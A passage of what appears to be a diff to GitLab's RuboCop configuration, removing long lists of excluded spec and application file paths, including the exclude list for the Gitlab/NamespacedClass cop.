- - 'spec/support/shared_examples/requests/rack_attack_shared_examples.rb'
- - 'spec/support/shared_examples/requests/snippet_shared_examples.rb'
- - 'spec/support/shared_examples/services/alert_management_shared_examples.rb'
- - 'spec/support/shared_examples/services/boards/boards_list_service_shared_examples.rb'
- - 'spec/support/shared_examples/services/boards/issues_list_service_shared_examples.rb'
- - 'spec/support/shared_examples/services/boards/issues_move_service_shared_examples.rb'
- - 'spec/support/shared_examples/services/issuable_shared_examples.rb'
- - 'spec/support/shared_examples/uploaders/object_storage_shared_examples.rb'
- - 'spec/support/shared_examples/workers/authorized_projects_worker_shared_example.rb'
- - 'spec/support/shared_examples/workers/reactive_cacheable_shared_examples.rb'
- - 'spec/support/snowplow.rb'
- - 'spec/tasks/gitlab/cleanup_rake_spec.rb'
- - 'spec/tasks/gitlab/container_registry_rake_spec.rb'
- - 'spec/tasks/gitlab/db_rake_spec.rb'
- - 'spec/tasks/gitlab/git_rake_spec.rb'
- - 'spec/tasks/gitlab/praefect_rake_spec.rb'
- - 'spec/tasks/gitlab/shell_rake_spec.rb'
- - 'spec/tasks/gitlab/x509/update_rake_spec.rb'
- - 'spec/uploaders/file_mover_spec.rb'
- - 'spec/uploaders/records_uploads_spec.rb'
- - 'spec/uploaders/workers/object_storage/migrate_uploads_worker_spec.rb'
- - 'spec/views/layouts/_head.html.haml_spec.rb'
- - 'spec/views/projects/artifacts/_artifact.html.haml_spec.rb'
- - 'spec/workers/archive_trace_worker_spec.rb'
- - 'spec/workers/build_coverage_worker_spec.rb'
- - 'spec/workers/build_hooks_worker_spec.rb'
- - 'spec/workers/build_trace_sections_worker_spec.rb'
- - 'spec/workers/ci/build_schedule_worker_spec.rb'
- - 'spec/workers/ci/daily_build_group_report_results_worker_spec.rb'
- - 'spec/workers/cluster_configure_istio_worker_spec.rb'
- - 'spec/workers/cluster_provision_worker_spec.rb'
- - 'spec/workers/clusters/cleanup/project_namespace_worker_spec.rb'
- - 'spec/workers/clusters/cleanup/service_account_worker_spec.rb'
- - 'spec/workers/concerns/project_import_options_spec.rb'
- - 'spec/workers/create_commit_signature_worker_spec.rb'
- - 'spec/workers/create_note_diff_file_worker_spec.rb'
- - 'spec/workers/delete_diff_files_worker_spec.rb'
- - 'spec/workers/email_receiver_worker_spec.rb'
- - 'spec/workers/emails_on_push_worker_spec.rb'
- - 'spec/workers/error_tracking_issue_link_worker_spec.rb'
- - 'spec/workers/expire_pipeline_cache_worker_spec.rb'
- - 'spec/workers/group_export_worker_spec.rb'
- - 'spec/workers/group_import_worker_spec.rb'
- - 'spec/workers/namespaceless_project_destroy_worker_spec.rb'
- - 'spec/workers/namespaces/root_statistics_worker_spec.rb'
- - 'spec/workers/new_note_worker_spec.rb'
- - 'spec/workers/object_pool/create_worker_spec.rb'
- - 'spec/workers/packages/nuget/extraction_worker_spec.rb'
- - 'spec/workers/pages_remove_worker_spec.rb'
- - 'spec/workers/pipeline_hooks_worker_spec.rb'
- - 'spec/workers/pipeline_process_worker_spec.rb'
- - 'spec/workers/pipeline_schedule_worker_spec.rb'
- - 'spec/workers/project_cache_worker_spec.rb'
- - 'spec/workers/stage_update_worker_spec.rb'
- - 'spec/workers/stuck_ci_jobs_worker_spec.rb'
- - 'spec/workers/wait_for_cluster_creation_worker_spec.rb'
- - 'ee/spec/workers/security/auto_fix_worker_spec.rb'
-
-# WIP: https://gitlab.com/gitlab-org/gitlab/-/issues/321982
-Gitlab/NamespacedClass:
- Exclude:
- - 'app/channels/issues_channel.rb'
- - 'app/controllers/abuse_reports_controller.rb'
- - 'app/controllers/acme_challenges_controller.rb'
- - 'app/controllers/application_controller.rb'
- - 'app/controllers/autocomplete_controller.rb'
- - 'app/controllers/chaos_controller.rb'
- - 'app/controllers/confirmations_controller.rb'
- - 'app/controllers/dashboard_controller.rb'
- - 'app/controllers/graphql_controller.rb'
- - 'app/controllers/groups_controller.rb'
- - 'app/controllers/health_check_controller.rb'
- - 'app/controllers/health_controller.rb'
- - 'app/controllers/help_controller.rb'
- - 'app/controllers/ide_controller.rb'
- - 'app/controllers/invites_controller.rb'
- - 'app/controllers/jwks_controller.rb'
- - 'app/controllers/jwt_controller.rb'
- - 'app/controllers/metrics_controller.rb'
- - 'app/controllers/notification_settings_controller.rb'
- - 'app/controllers/omniauth_callbacks_controller.rb'
- - 'app/controllers/passwords_controller.rb'
- - 'app/controllers/profiles_controller.rb'
- - 'app/controllers/projects_controller.rb'
- - 'app/controllers/registrations_controller.rb'
- - 'app/controllers/root_controller.rb'
- - 'app/controllers/runner_setup_controller.rb'
- - 'app/controllers/search_controller.rb'
- - 'app/controllers/sent_notifications_controller.rb'
- - 'app/controllers/sessions_controller.rb'
- - 'app/controllers/snippets_controller.rb'
- - 'app/controllers/uploads_controller.rb'
- - 'app/controllers/user_callouts_controller.rb'
- - 'app/controllers/users_controller.rb'
- - 'app/controllers/whats_new_controller.rb'
- - 'app/finders/abuse_reports_finder.rb'
- - 'app/finders/access_requests_finder.rb'
- - 'app/finders/admin/projects_finder.rb'
- - 'app/finders/applications_finder.rb'
- - 'app/finders/award_emojis_finder.rb'
- - 'app/finders/branches_finder.rb'
- - 'app/finders/cluster_ancestors_finder.rb'
- - 'app/finders/clusters_finder.rb'
- - 'app/finders/container_repositories_finder.rb'
- - 'app/finders/context_commits_finder.rb'
- - 'app/finders/contributed_projects_finder.rb'
- - 'app/finders/deployments_finder.rb'
- - 'app/finders/events_finder.rb'
- - 'app/finders/feature_flags_finder.rb'
- - 'app/finders/feature_flags_user_lists_finder.rb'
- - 'app/finders/fork_projects_finder.rb'
- - 'app/finders/fork_targets_finder.rb'
- - 'app/finders/freeze_periods_finder.rb'
- - 'app/finders/git_refs_finder.rb'
- - 'app/finders/group_descendants_finder.rb'
- - 'app/finders/group_finder.rb'
- - 'app/finders/group_members_finder.rb'
- - 'app/finders/group_projects_finder.rb'
- - 'app/finders/groups_finder.rb'
- - 'app/finders/issuable_finder.rb'
- - 'app/finders/issuable_finder/params.rb'
- - 'app/finders/issues_finder.rb'
- - 'app/finders/issues_finder/params.rb'
- - 'app/finders/joined_groups_finder.rb'
- - 'app/finders/keys_finder.rb'
- - 'app/finders/labels_finder.rb'
- - 'app/finders/lfs_pointers_finder.rb'
- - 'app/finders/license_template_finder.rb'
- - 'app/finders/members_finder.rb'
- - 'app/finders/merge_request_target_project_finder.rb'
- - 'app/finders/merge_requests_finder.rb'
- - 'app/finders/merge_requests_finder/params.rb'
- - 'app/finders/milestones_finder.rb'
- - 'app/finders/notes_finder.rb'
- - 'app/finders/pending_todos_finder.rb'
- - 'app/finders/personal_access_tokens_finder.rb'
- - 'app/finders/personal_projects_finder.rb'
- - 'app/finders/projects_finder.rb'
- - 'app/finders/prometheus_metrics_finder.rb'
- - 'app/finders/protected_branches_finder.rb'
- - 'app/finders/releases_finder.rb'
- - 'app/finders/resource_milestone_event_finder.rb'
- - 'app/finders/resource_state_event_finder.rb'
- - 'app/finders/sentry_issue_finder.rb'
- - 'app/finders/serverless_domain_finder.rb'
- - 'app/finders/snippets_finder.rb'
- - 'app/finders/starred_projects_finder.rb'
- - 'app/finders/tags_finder.rb'
- - 'app/finders/template_finder.rb'
- - 'app/finders/todos_finder.rb'
- - 'app/finders/union_finder.rb'
- - 'app/finders/uploader_finder.rb'
- - 'app/finders/user_finder.rb'
- - 'app/finders/user_group_notification_settings_finder.rb'
- - 'app/finders/user_groups_counter.rb'
- - 'app/finders/user_recent_events_finder.rb'
- - 'app/finders/users_finder.rb'
- - 'app/finders/users_star_projects_finder.rb'
- - 'app/finders/users_with_pending_todos_finder.rb'
- - 'app/graphql/gitlab_schema.rb'
- - 'app/mailers/abuse_report_mailer.rb'
- - 'app/mailers/application_mailer.rb'
- - 'app/mailers/devise_mailer.rb'
- - 'app/mailers/email_rejection_mailer.rb'
- - 'app/mailers/notify.rb'
- - 'app/mailers/previews/devise_mailer_preview.rb'
- - 'app/mailers/previews/email_rejection_mailer_preview.rb'
- - 'app/mailers/previews/notify_preview.rb'
- - 'app/mailers/previews/repository_check_mailer_preview.rb'
- - 'app/mailers/repository_check_mailer.rb'
- - 'app/models/ability.rb'
- - 'app/models/abuse_report.rb'
- - 'app/models/active_session.rb'
- - 'app/models/appearance.rb'
- - 'app/models/application_record.rb'
- - 'app/models/application_setting.rb'
- - 'app/models/application_setting/term.rb'
- - 'app/models/approval.rb'
- - 'app/models/audit_event.rb'
- - 'app/models/authentication_event.rb'
- - 'app/models/award_emoji.rb'
- - 'app/models/badge.rb'
- - 'app/models/badges/group_badge.rb'
- - 'app/models/badges/project_badge.rb'
- - 'app/models/blob.rb'
- - 'app/models/board.rb'
- - 'app/models/board_group_recent_visit.rb'
- - 'app/models/board_project_recent_visit.rb'
- - 'app/models/broadcast_message.rb'
- - 'app/models/bulk_import.rb'
- - 'app/models/chat_name.rb'
- - 'app/models/chat_team.rb'
- - 'app/models/ci_platform_metric.rb'
- - 'app/models/commit.rb'
- - 'app/models/commit_collection.rb'
- - 'app/models/commit_range.rb'
- - 'app/models/commit_status.rb'
- - 'app/models/commit_user_mention.rb'
- - 'app/models/commit_with_pipeline.rb'
- - 'app/models/compare.rb'
- - 'app/models/concerns/uniquify.rb'
- - 'app/models/container_expiration_policy.rb'
- - 'app/models/container_repository.rb'
- - 'app/models/context_commits_diff.rb'
- - 'app/models/custom_emoji.rb'
- - 'app/models/data_list.rb'
- - 'app/models/deploy_key.rb'
- - 'app/models/deploy_keys_project.rb'
- - 'app/models/deploy_token.rb'
- - 'app/models/deployment.rb'
- - 'app/models/deployment_cluster.rb'
- - 'app/models/deployment_merge_request.rb'
- - 'app/models/deployment_metrics.rb'
- - 'app/models/description_version.rb'
- - 'app/models/design_user_mention.rb'
- - 'app/models/diff_discussion.rb'
- - 'app/models/diff_note.rb'
- - 'app/models/diff_note_position.rb'
- - 'app/models/directly_addressed_user.rb'
- - 'app/models/discussion.rb'
- - 'app/models/discussion_note.rb'
- - 'app/models/draft_note.rb'
- - 'app/models/email.rb'
- - 'app/models/environment.rb'
- - 'app/models/environment_status.rb'
- - 'app/models/epic.rb'
- - 'app/models/event.rb'
- - 'app/models/event_collection.rb'
- - 'app/models/experiment.rb'
- - 'app/models/experiment_subject.rb'
- - 'app/models/experiment_user.rb'
- - 'app/models/exported_protected_branch.rb'
- - 'app/models/external_issue.rb'
- - 'app/models/external_pull_request.rb'
- - 'app/models/fork_network.rb'
- - 'app/models/fork_network_member.rb'
- - 'app/models/generic_commit_status.rb'
- - 'app/models/gpg_key.rb'
- - 'app/models/gpg_key_subkey.rb'
- - 'app/models/gpg_signature.rb'
- - 'app/models/grafana_integration.rb'
- - 'app/models/group.rb'
- - 'app/models/group_custom_attribute.rb'
- - 'app/models/group_deploy_key.rb'
- - 'app/models/group_deploy_keys_group.rb'
- - 'app/models/group_deploy_token.rb'
- - 'app/models/group_group_link.rb'
- - 'app/models/group_import_state.rb'
- - 'app/models/group_label.rb'
- - 'app/models/guest.rb'
- - 'app/models/hooks/active_hook_filter.rb'
- - 'app/models/hooks/project_hook.rb'
- - 'app/models/hooks/service_hook.rb'
- - 'app/models/hooks/system_hook.rb'
- - 'app/models/hooks/web_hook.rb'
- - 'app/models/hooks/web_hook_log.rb'
- - 'app/models/identity.rb'
- - 'app/models/identity/uniqueness_scopes.rb'
- - 'app/models/import_export_upload.rb'
- - 'app/models/import_failure.rb'
- - 'app/models/individual_note_discussion.rb'
- - 'app/models/instance_configuration.rb'
- - 'app/models/instance_metadata.rb'
- - 'app/models/integration.rb'
- - 'app/models/internal_id.rb'
- - 'app/models/issuable_severity.rb'
- - 'app/models/issue.rb'
- - 'app/models/issue/metrics.rb'
- - 'app/models/issue_assignee.rb'
- - 'app/models/issue_collection.rb'
- - 'app/models/issue_email_participant.rb'
- - 'app/models/issue_link.rb'
- - 'app/models/issue_user_mention.rb'
- - 'app/models/iteration.rb'
- - 'app/models/jira_connect_installation.rb'
- - 'app/models/jira_connect_subscription.rb'
- - 'app/models/jira_import_state.rb'
- - 'app/models/key.rb'
- - 'app/models/label.rb'
- - 'app/models/label_link.rb'
- - 'app/models/label_note.rb'
- - 'app/models/label_priority.rb'
- - 'app/models/legacy_diff_discussion.rb'
- - 'app/models/legacy_diff_note.rb'
- - 'app/models/lfs_download_object.rb'
- - 'app/models/lfs_file_lock.rb'
- - 'app/models/lfs_object.rb'
- - 'app/models/lfs_objects_project.rb'
- - 'app/models/license_template.rb'
- - 'app/models/list.rb'
- - 'app/models/list_user_preference.rb'
- - 'app/models/member.rb'
- - 'app/models/members/group_member.rb'
- - 'app/models/members/last_group_owner_assigner.rb'
- - 'app/models/members/project_member.rb'
- - 'app/models/members/member_task.rb'
- - 'app/models/members_preloader.rb'
- - 'app/models/merge_request.rb'
- - 'app/models/merge_request_assignee.rb'
- - 'app/models/merge_request_context_commit.rb'
- - 'app/models/merge_request_context_commit_diff_file.rb'
- - 'app/models/merge_request_diff.rb'
- - 'app/models/merge_request_diff_commit.rb'
- - 'app/models/merge_request_diff_file.rb'
- - 'app/models/merge_request_reviewer.rb'
- - 'app/models/merge_request_user_mention.rb'
- - 'app/models/merge_requests_closing_issues.rb'
- - 'app/models/milestone.rb'
- - 'app/models/milestone_note.rb'
- - 'app/models/milestone_release.rb'
- - 'app/models/namespace.rb'
- - 'app/models/namespace/traversal_hierarchy.rb'
- - 'app/models/namespace_onboarding_action.rb'
- - 'app/models/namespace_setting.rb'
- - 'app/models/note.rb'
- - 'app/models/note_diff_file.rb'
- - 'app/models/notification_reason.rb'
- - 'app/models/notification_recipient.rb'
- - 'app/models/notification_setting.rb'
- - 'app/models/oauth_access_grant.rb'
- - 'app/models/oauth_access_token.rb'
- - 'app/models/out_of_context_discussion.rb'
- - 'app/models/onboarding_progress.rb'
- - 'app/models/pages_deployment.rb'
- - 'app/models/pages_domain.rb'
- - 'app/models/pages_domain_acme_order.rb'
- - 'app/models/personal_access_token.rb'
- - 'app/models/personal_snippet.rb'
- - 'app/models/plan.rb'
- - 'app/models/plan_limits.rb'
- - 'app/models/pool_repository.rb'
- - 'app/models/product_analytics_event.rb'
- - 'app/models/programming_language.rb'
- - 'app/models/project.rb'
- - 'app/models/project_authorization.rb'
- - 'app/models/project_auto_devops.rb'
- - 'app/models/project_ci_cd_setting.rb'
- - 'app/models/project_custom_attribute.rb'
- - 'app/models/project_daily_statistic.rb'
- - 'app/models/project_deploy_token.rb'
- - 'app/models/project_export_job.rb'
- - 'app/models/project_feature.rb'
- - 'app/models/project_feature_usage.rb'
- - 'app/models/project_group_link.rb'
- - 'app/models/project_import_data.rb'
- - 'app/models/project_import_state.rb'
- - 'app/models/project_label.rb'
- - 'app/models/project_metrics_setting.rb'
- - 'app/models/project_pages_metadatum.rb'
- - 'app/models/project_repository.rb'
- - 'app/models/project_repository_storage_move.rb'
- - 'app/models/project_setting.rb'
- - 'app/models/project_snippet.rb'
- - 'app/models/project_statistics.rb'
- - 'app/models/project_team.rb'
- - 'app/models/project_tracing_setting.rb'
- - 'app/models/project_wiki.rb'
- - 'app/models/prometheus_alert.rb'
- - 'app/models/prometheus_alert_event.rb'
- - 'app/models/prometheus_metric.rb'
- - 'app/models/protectable_dropdown.rb'
- - 'app/models/protected_branch.rb'
- - 'app/models/protected_tag.rb'
- - 'app/models/push_event.rb'
- - 'app/models/push_event_payload.rb'
- - 'app/models/raw_usage_data.rb'
- - 'app/models/readme_blob.rb'
- - 'app/models/redirect_route.rb'
- - 'app/models/ref_matcher.rb'
- - 'app/models/release.rb'
- - 'app/models/release_highlight.rb'
- - 'app/models/remote_mirror.rb'
- - 'app/models/repository.rb'
- - 'app/models/repository_language.rb'
- - 'app/models/resource_event.rb'
- - 'app/models/resource_label_event.rb'
- - 'app/models/resource_milestone_event.rb'
- - 'app/models/resource_state_event.rb'
- - 'app/models/resource_timebox_event.rb'
- - 'app/models/review.rb'
- - 'app/models/route.rb'
- - 'app/models/self_managed_prometheus_alert_event.rb'
- - 'app/models/sent_notification.rb'
- - 'app/models/sentry_issue.rb'
- - 'app/models/service_desk_setting.rb'
- - 'app/models/service_list.rb'
- - 'app/models/shard.rb'
- - 'app/models/snippet.rb'
- - 'app/models/snippet_blob.rb'
- - 'app/models/snippet_input_action.rb'
- - 'app/models/snippet_input_action_collection.rb'
- - 'app/models/snippet_repository.rb'
- - 'app/models/snippet_repository_storage_move.rb'
- - 'app/models/snippet_statistics.rb'
- - 'app/models/snippet_user_mention.rb'
- - 'app/models/spam_log.rb'
- - 'app/models/ssh_host_key.rb'
- - 'app/models/state_note.rb'
- - 'app/models/subscription.rb'
- - 'app/models/suggestion.rb'
- - 'app/models/synthetic_note.rb'
- - 'app/models/system_note_metadata.rb'
- - 'app/models/term_agreement.rb'
- - 'app/models/timelog.rb'
- - 'app/models/todo.rb'
- - 'app/models/tree.rb'
- - 'app/models/trending_project.rb'
- - 'app/models/u2f_registration.rb'
- - 'app/models/upload.rb'
- - 'app/models/user.rb'
- - 'app/models/user_agent_detail.rb'
- - 'app/models/user_callout.rb'
- - 'app/models/user_canonical_email.rb'
- - 'app/models/user_custom_attribute.rb'
- - 'app/models/user_detail.rb'
- - 'app/models/user_highest_role.rb'
- - 'app/models/user_interacted_project.rb'
- - 'app/models/user_mention.rb'
- - 'app/models/user_preference.rb'
- - 'app/models/user_status.rb'
- - 'app/models/user_synced_attributes_metadata.rb'
- - 'app/models/users_star_project.rb'
- - 'app/models/users_statistics.rb'
- - 'app/models/vulnerability.rb'
- - 'app/models/web_ide_terminal.rb'
- - 'app/models/webauthn_registration.rb'
- - 'app/models/wiki.rb'
- - 'app/models/wiki_directory.rb'
- - 'app/models/wiki_page.rb'
- - 'app/models/wiki_page/meta.rb'
- - 'app/models/wiki_page/slug.rb'
- - 'app/models/x509_certificate.rb'
- - 'app/models/x509_commit_signature.rb'
- - 'app/models/x509_issuer.rb'
- - 'app/models/zoom_meeting.rb'
- - 'app/policies/application_setting/term_policy.rb'
- - 'app/policies/award_emoji_policy.rb'
- - 'app/policies/base_policy.rb'
- - 'app/policies/blob_policy.rb'
- - 'app/policies/board_policy.rb'
- - 'app/policies/commit_policy.rb'
- - 'app/policies/commit_status_policy.rb'
- - 'app/policies/container_expiration_policy_policy.rb'
- - 'app/policies/container_repository_policy.rb'
- - 'app/policies/custom_emoji_policy.rb'
- - 'app/policies/deploy_key_policy.rb'
- - 'app/policies/deploy_keys_project_policy.rb'
- - 'app/policies/deploy_token_policy.rb'
- - 'app/policies/deployment_policy.rb'
- - 'app/policies/draft_note_policy.rb'
- - 'app/policies/environment_policy.rb'
- - 'app/policies/external_issue_policy.rb'
- - 'app/policies/global_policy.rb'
- - 'app/policies/grafana_integration_policy.rb'
- - 'app/policies/group_deploy_key_policy.rb'
- - 'app/policies/group_deploy_keys_group_policy.rb'
- - 'app/policies/group_label_policy.rb'
- - 'app/policies/group_member_policy.rb'
- - 'app/policies/group_policy.rb'
- - 'app/policies/identity_provider_policy.rb'
- - 'app/policies/instance_metadata_policy.rb'
- - 'app/policies/integration_policy.rb'
- - 'app/policies/issuable_policy.rb'
- - 'app/policies/issue_policy.rb'
- - 'app/policies/merge_request_policy.rb'
- - 'app/policies/milestone_policy.rb'
- - 'app/policies/namespace_policy.rb'
- - 'app/policies/nil_policy.rb'
- - 'app/policies/note_policy.rb'
- - 'app/policies/personal_access_token_policy.rb'
- - 'app/policies/personal_snippet_policy.rb'
- - 'app/policies/project_ci_cd_setting_policy.rb'
- - 'app/policies/project_label_policy.rb'
- - 'app/policies/project_member_policy.rb'
- - 'app/policies/project_policy.rb'
- - 'app/policies/project_snippet_policy.rb'
- - 'app/policies/project_statistics_policy.rb'
- - 'app/policies/prometheus_alert_policy.rb'
- - 'app/policies/protected_branch_policy.rb'
- - 'app/policies/release_policy.rb'
- - 'app/policies/repository_policy.rb'
- - 'app/policies/resource_label_event_policy.rb'
- - 'app/policies/suggestion_policy.rb'
- - 'app/policies/timebox_policy.rb'
- - 'app/policies/timelog_policy.rb'
- - 'app/policies/todo_policy.rb'
- - 'app/policies/user_policy.rb'
- - 'app/policies/wiki_page_policy.rb'
- - 'app/policies/wiki_policy.rb'
- - 'app/presenters/award_emoji_presenter.rb'
- - 'app/presenters/blob_presenter.rb'
- - 'app/presenters/board_presenter.rb'
- - 'app/presenters/clusterable_presenter.rb'
- - 'app/presenters/commit_presenter.rb'
- - 'app/presenters/commit_status_presenter.rb'
- - 'app/presenters/environment_presenter.rb'
- - 'app/presenters/event_presenter.rb'
- - 'app/presenters/generic_commit_status_presenter.rb'
- - 'app/presenters/group_clusterable_presenter.rb'
- - 'app/presenters/group_member_presenter.rb'
- - 'app/presenters/instance_clusterable_presenter.rb'
- - 'app/presenters/invitation_presenter.rb'
- - 'app/presenters/issue_presenter.rb'
- - 'app/presenters/label_presenter.rb'
- - 'app/presenters/member_presenter.rb'
- - 'app/presenters/members_presenter.rb'
- - 'app/presenters/merge_request_presenter.rb'
- - 'app/presenters/milestone_presenter.rb'
- - 'app/presenters/pages_domain_presenter.rb'
- - 'app/presenters/project_clusterable_presenter.rb'
- - 'app/presenters/project_hook_presenter.rb'
- - 'app/presenters/project_member_presenter.rb'
- - 'app/presenters/project_presenter.rb'
- - 'app/presenters/prometheus_alert_presenter.rb'
- - 'app/presenters/release_presenter.rb'
- - 'app/presenters/search_service_presenter.rb'
- - 'app/presenters/sentry_error_presenter.rb'
- - 'app/presenters/service_hook_presenter.rb'
- - 'app/presenters/snippet_blob_presenter.rb'
- - 'app/presenters/snippet_presenter.rb'
- - 'app/presenters/todo_presenter.rb'
- - 'app/presenters/tree_entry_presenter.rb'
- - 'app/presenters/user_presenter.rb'
- - 'app/presenters/web_hook_log_presenter.rb'
- - 'app/serializers/accessibility_error_entity.rb'
- - 'app/serializers/accessibility_reports_comparer_entity.rb'
- - 'app/serializers/accessibility_reports_comparer_serializer.rb'
- - 'app/serializers/analytics_build_entity.rb'
- - 'app/serializers/analytics_build_serializer.rb'
- - 'app/serializers/analytics_commit_entity.rb'
- - 'app/serializers/analytics_commit_serializer.rb'
- - 'app/serializers/analytics_generic_serializer.rb'
- - 'app/serializers/analytics_issue_entity.rb'
- - 'app/serializers/analytics_issue_serializer.rb'
- - 'app/serializers/analytics_merge_request_entity.rb'
- - 'app/serializers/analytics_merge_request_serializer.rb'
- - 'app/serializers/analytics_stage_entity.rb'
- - 'app/serializers/analytics_stage_serializer.rb'
- - 'app/serializers/analytics_summary_entity.rb'
- - 'app/serializers/analytics_summary_serializer.rb'
- - 'app/serializers/award_emoji_entity.rb'
- - 'app/serializers/base_discussion_entity.rb'
- - 'app/serializers/base_serializer.rb'
- - 'app/serializers/blob_entity.rb'
- - 'app/serializers/board_serializer.rb'
- - 'app/serializers/board_simple_entity.rb'
- - 'app/serializers/build_action_entity.rb'
- - 'app/serializers/build_artifact_entity.rb'
- - 'app/serializers/build_coverage_entity.rb'
- - 'app/serializers/build_details_entity.rb'
- - 'app/serializers/build_metadata_entity.rb'
- - 'app/serializers/build_serializer.rb'
- - 'app/serializers/build_trace_entity.rb'
- - 'app/serializers/build_trace_serializer.rb'
- - 'app/serializers/cluster_application_entity.rb'
- - 'app/serializers/cluster_entity.rb'
- - 'app/serializers/cluster_error_entity.rb'
- - 'app/serializers/cluster_serializer.rb'
- - 'app/serializers/codequality_degradation_entity.rb'
- - 'app/serializers/codequality_reports_comparer_entity.rb'
- - 'app/serializers/codequality_reports_comparer_serializer.rb'
- - 'app/serializers/cohort_activity_month_entity.rb'
- - 'app/serializers/cohort_entity.rb'
- - 'app/serializers/cohorts_entity.rb'
- - 'app/serializers/cohorts_serializer.rb'
- - 'app/serializers/commit_entity.rb'
- - 'app/serializers/container_repositories_serializer.rb'
- - 'app/serializers/container_repository_entity.rb'
- - 'app/serializers/container_tag_entity.rb'
- - 'app/serializers/container_tags_serializer.rb'
- - 'app/serializers/context_commits_diff_entity.rb'
- - 'app/serializers/current_board_entity.rb'
- - 'app/serializers/current_board_serializer.rb'
- - 'app/serializers/current_user_entity.rb'
- - 'app/serializers/deploy_key_entity.rb'
- - 'app/serializers/deploy_key_serializer.rb'
- - 'app/serializers/deploy_keys_project_entity.rb'
- - 'app/serializers/deployment_cluster_entity.rb'
- - 'app/serializers/deployment_entity.rb'
- - 'app/serializers/deployment_serializer.rb'
- - 'app/serializers/detailed_status_entity.rb'
- - 'app/serializers/diff_file_base_entity.rb'
- - 'app/serializers/diff_file_entity.rb'
- - 'app/serializers/diff_file_metadata_entity.rb'
- - 'app/serializers/diff_line_entity.rb'
- - 'app/serializers/diff_line_parallel_entity.rb'
- - 'app/serializers/diff_line_serializer.rb'
- - 'app/serializers/diff_viewer_entity.rb'
- - 'app/serializers/diffs_entity.rb'
- - 'app/serializers/diffs_metadata_entity.rb'
- - 'app/serializers/diffs_metadata_serializer.rb'
- - 'app/serializers/diffs_serializer.rb'
- - 'app/serializers/discussion_diff_file_entity.rb'
- - 'app/serializers/discussion_entity.rb'
- - 'app/serializers/discussion_serializer.rb'
- - 'app/serializers/draft_note_entity.rb'
- - 'app/serializers/draft_note_serializer.rb'
- - 'app/serializers/entity_request.rb'
- - 'app/serializers/environment_entity.rb'
- - 'app/serializers/environment_serializer.rb'
- - 'app/serializers/environment_status_entity.rb'
- - 'app/serializers/environment_status_serializer.rb'
- - 'app/serializers/feature_flag_entity.rb'
- - 'app/serializers/feature_flag_scope_entity.rb'
- - 'app/serializers/feature_flag_serializer.rb'
- - 'app/serializers/feature_flag_summary_entity.rb'
- - 'app/serializers/feature_flag_summary_serializer.rb'
- - 'app/serializers/feature_flags_client_entity.rb'
- - 'app/serializers/feature_flags_client_serializer.rb'
- - 'app/serializers/fork_namespace_entity.rb'
- - 'app/serializers/fork_namespace_serializer.rb'
- - 'app/serializers/group_analytics_stage_entity.rb'
- - 'app/serializers/group_analytics_stage_serializer.rb'
- - 'app/serializers/group_basic_entity.rb'
- - 'app/serializers/group_child_entity.rb'
- - 'app/serializers/group_child_serializer.rb'
- - 'app/serializers/group_deploy_key_entity.rb'
- - 'app/serializers/group_deploy_key_serializer.rb'
- - 'app/serializers/group_deploy_keys_group_entity.rb'
- - 'app/serializers/group_entity.rb'
- - 'app/serializers/group_group_link_entity.rb'
- - 'app/serializers/group_group_link_serializer.rb'
- - 'app/serializers/group_issuable_autocomplete_entity.rb'
- - 'app/serializers/group_issuable_autocomplete_serializer.rb'
- - 'app/serializers/group_serializer.rb'
- - 'app/serializers/issuable_entity.rb'
- - 'app/serializers/issuable_sidebar_basic_entity.rb'
- - 'app/serializers/issuable_sidebar_extras_entity.rb'
- - 'app/serializers/issuable_sidebar_todo_entity.rb'
- - 'app/serializers/issue_board_entity.rb'
- - 'app/serializers/issue_entity.rb'
- - 'app/serializers/issue_serializer.rb'
- - 'app/serializers/issue_sidebar_basic_entity.rb'
- - 'app/serializers/issue_sidebar_extras_entity.rb'
- - 'app/serializers/job_artifact_report_entity.rb'
- - 'app/serializers/job_entity.rb'
- - 'app/serializers/job_group_entity.rb'
- - 'app/serializers/label_entity.rb'
- - 'app/serializers/label_serializer.rb'
- - 'app/serializers/lfs_file_lock_entity.rb'
- - 'app/serializers/lfs_file_lock_serializer.rb'
- - 'app/serializers/linked_issue_entity.rb'
- - 'app/serializers/linked_project_issue_entity.rb'
- - 'app/serializers/linked_project_issue_serializer.rb'
- - 'app/serializers/member_entity.rb'
- - 'app/serializers/member_serializer.rb'
- - 'app/serializers/member_user_entity.rb'
- - 'app/serializers/merge_request_basic_entity.rb'
- - 'app/serializers/merge_request_create_entity.rb'
- - 'app/serializers/merge_request_create_serializer.rb'
- - 'app/serializers/merge_request_current_user_entity.rb'
- - 'app/serializers/merge_request_diff_entity.rb'
- - 'app/serializers/merge_request_for_pipeline_entity.rb'
- - 'app/serializers/merge_request_metrics_entity.rb'
- - 'app/serializers/merge_request_noteable_entity.rb'
- - 'app/serializers/merge_request_poll_cached_widget_entity.rb'
- - 'app/serializers/merge_request_poll_widget_entity.rb'
- - 'app/serializers/merge_request_serializer.rb'
- - 'app/serializers/merge_request_sidebar_basic_entity.rb'
- - 'app/serializers/merge_request_sidebar_extras_entity.rb'
- - 'app/serializers/merge_request_user_entity.rb'
- - 'app/serializers/merge_request_widget_commit_entity.rb'
- - 'app/serializers/merge_request_widget_entity.rb'
- - 'app/serializers/move_to_project_entity.rb'
- - 'app/serializers/move_to_project_serializer.rb'
- - 'app/serializers/namespace_basic_entity.rb'
- - 'app/serializers/namespace_serializer.rb'
- - 'app/serializers/note_attachment_entity.rb'
- - 'app/serializers/note_entity.rb'
- - 'app/serializers/note_user_entity.rb'
- - 'app/serializers/paginated_diff_entity.rb'
- - 'app/serializers/paginated_diff_serializer.rb'
- - 'app/serializers/pipeline_details_entity.rb'
- - 'app/serializers/pipeline_entity.rb'
- - 'app/serializers/pipeline_serializer.rb'
- - 'app/serializers/project_entity.rb'
- - 'app/serializers/project_import_entity.rb'
- - 'app/serializers/project_mirror_entity.rb'
- - 'app/serializers/project_mirror_serializer.rb'
- - 'app/serializers/project_note_entity.rb'
- - 'app/serializers/project_note_serializer.rb'
- - 'app/serializers/project_serializer.rb'
- - 'app/serializers/prometheus_alert_entity.rb'
- - 'app/serializers/prometheus_alert_serializer.rb'
- - 'app/serializers/prometheus_metric_entity.rb'
- - 'app/serializers/prometheus_metric_serializer.rb'
- - 'app/serializers/release_entity.rb'
- - 'app/serializers/release_serializer.rb'
- - 'app/serializers/remote_mirror_entity.rb'
- - 'app/serializers/review_app_setup_entity.rb'
- - 'app/serializers/review_app_setup_serializer.rb'
- - 'app/serializers/rollout_status_entity.rb'
- - 'app/serializers/route_entity.rb'
- - 'app/serializers/route_serializer.rb'
- - 'app/serializers/runner_entity.rb'
